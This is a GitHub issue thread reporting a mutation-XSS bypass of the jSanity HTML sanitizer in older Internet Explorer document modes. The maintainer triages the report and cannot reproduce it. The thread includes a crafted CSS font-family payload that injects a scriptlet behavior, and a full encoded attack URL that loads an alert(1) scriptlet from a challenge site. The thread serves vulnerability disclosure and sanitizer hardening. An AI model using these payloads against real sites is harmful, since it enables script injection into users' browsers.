[XSS, Security] Bypass found using mXSS and Scriptlets

[cure53]

Another bypass was spotted based on the mutations caused by the default jSanity behavior exposed on the demo. Affected browsers are MSIE <= 11 when running in older document modes.

Example Input:

<p style="font-family:'\22\3b\62\65havior:url(/callback.json?cb=<scriptlet>...</scriptlet>)\3b'">123

Resulting Output:

<span><p style='font-family: "";behavior:url(/callback.json?cb=<scriptlet>...</scriptlet>);";'>123</p></span>

This attack can be carried out, in case the attacker has control over another same-domain resource that would be served as JSON, image, XML or anything else that wouldn't render as a document.

Example Attack:
http://innerht.ml/challenges/kcal.pw/puzzle5.php/?name=%3Cmeta%20http-equiv=x-ua-compatible%20content=ie=5%20{}*{behavior:url%28%27http://innerht.ml/challenges/kcal.pw/styles.php?data=%253CSCRIPTLET%253E%2520%253CIMPLEMENTS%2520Type%253D%2522Behavior%2522%253E%253C%252FIMPLEMENTS%253E%2520%253CSCRIPT%2520Language%253D%2522javascript%2522%253Ealert%25281%2529%253C%252FSCRIPT%253E%2520%253C%252FSCRIPTLET%253E%27%29}

Note that DOMPurify protects itself against these kinds of attacks by falling back to use toStaticHTML in dangerous document modes. It might be recommendable for jSanity to do this as well:

https://github.com/cure53/DOMPurify/blob/master/src/purify.js#L632

[randomdross]

Note that DOMPurify protects itself against these kinds of attacks by falling back to use toStaticHTML
in dangerous document modes. It might be recommendable for jSanity to do this as well:

...actually jSanity does as well:
https://github.com/Microsoft/JSanity/blob/master/jsanity-0.2.js#L951

            // Validate this is a supported environment
            //  Todo: How about other browsers?
            if (typeof document.documentMode !== "undefined") {
                // IE versions < 10 will not properly isolate markup passed in to document.implementation.createHTMLDocument
                if (document.documentMode < 9) {
                    return this.each(function () {
                        $(this).data('jSanityPromise', $.Deferred().reject('jQuery.jSanity not supported on this user agent.').promise());
                    });
                }
                else
                if (document.documentMode < 10) {
                    g_useStaticHTML = true;
                }
            }

...but looks like this isn't working or isn't sufficient in this particular case...

[randomdross]

In IE11 this reproduces in docmode 10 and below. A simple change that will help here should be to rev the docmode check, though this may cut off some browsers that still technically may need to be supported.

I'm still concerned about the css breakout, but I'm also not immediately sure if this is an IE gotcha or a more straightforward jSanity implementation bug.

[randomdross]

Actually, do you ever see the behavior URL get pulled down? In the debugger I'm seeing a single setProperty for the font-family property (set a breakpoint on line 707), the value of which is the full, properly escaped string:

"\"\";behavior:url(/callback.json?cb=<scriptlet>...</scriptlet>);\""

After the fact I do see the vulnerable looking markup in the DOM, but I think if we're lucky then at best this is potential mXSS. (If the web app were to roundtrip it back in and out of the DOM again.)

[randomdross]

Still unable to reproduce any network request with any IE docmode that is currently allowed w/jSanity.

[randomdross]

Please reactivate this or ping me if you're still seeing a way to make this functional in any way.

[cure53]

👍